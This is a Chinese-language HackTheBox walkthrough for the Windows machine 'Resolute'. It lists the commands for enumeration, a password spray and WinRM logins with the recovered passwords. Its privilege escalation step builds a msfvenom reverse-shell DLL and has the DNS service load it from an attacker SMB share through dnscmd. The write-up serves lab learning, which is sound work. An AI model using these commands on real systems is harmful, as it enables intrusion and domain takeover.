**
HackTheBox-windows-Resolute-Walkthrough
**
靶机地址:https://www.hackthebox.eu/home/machines/profile/220
靶机难度:中级(4.7/10)
靶机发布日期:2020年5月28日
靶机描述:
Resolute is an easy difficulty Windows machine that features Active Directory. The Active Directory anonymous bind is used to obtain a password that the sysadmins set for new user accounts, although it seems that the password for that account has since changed. A password spray reveals that this password is still in use for another domain user account, which gives us access to the system over WinRM. A PowerShell transcript log is discovered, which has captured credentials passed on the command-line. This is used to move laterally to a user that is a member of the DnsAdmins group. This group has the ability to specify that the DNS Server service loads a plugin DLL. After restarting the DNS service, we achieve command execution on the domain controller in the context of NT_AUTHORITY\SYSTEM .
作者:大余
时间:2020-08-19
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的IP是10.10.10.169…
命令:sudo nmap -sC -sV -A -p- 10.10.10.169 -o 10.10.10.169
可看到nmap开了很多端口,ldap,smb,http等…可以开始枚举了…
命令:enum4linux -a 10.10.10.169
ldap进行枚举,这里用很多次了enum4linux,发现了密码…现在需要继续等待枚举user信息…
可看到,枚举到了很多用户名…爆破下
利用hydra进行了爆破,获得了正确的用户名密码…
命令:evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'
获得了smb用户名密码,这里利用了evil-winrm登录进入…限制挺大
这里利用-force查找隐藏的目录情况…
继续利用force获得PSTranscripts底层隐藏信息…
内容中包含了ryan用户密码信息…
命令:evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
继续利用winrm登录…
发现用户ryan是DnsAdmins的成员,成为DnsAdmins的成员组允许使用dnscmd.exe,可以访问网络DNS信息,默认权限允许:读取和写入,创建所有子对象,删除子对象,特殊权限等,然后指定smb加载的插件DLL执行即可提权 …
命令:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f dll > dayu.dll
impacket-smbserver dayu .
dnscmd.exe /config /serverlevelplugindll \\10.10.14.2\dayu\dayu.dll
sc.exe \\resolute stop dns
sc.exe \\resolute start dns
很简单的思路,将服务器级别的插件设置为dayu.dll共享,停止和启动DNS服务器…
获得了root_flag信息…
不会的google搜索DnsAdmins组shell exploit吧…很多文章都讲解了…
linux快打完了,回归windows退休的几台…
由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。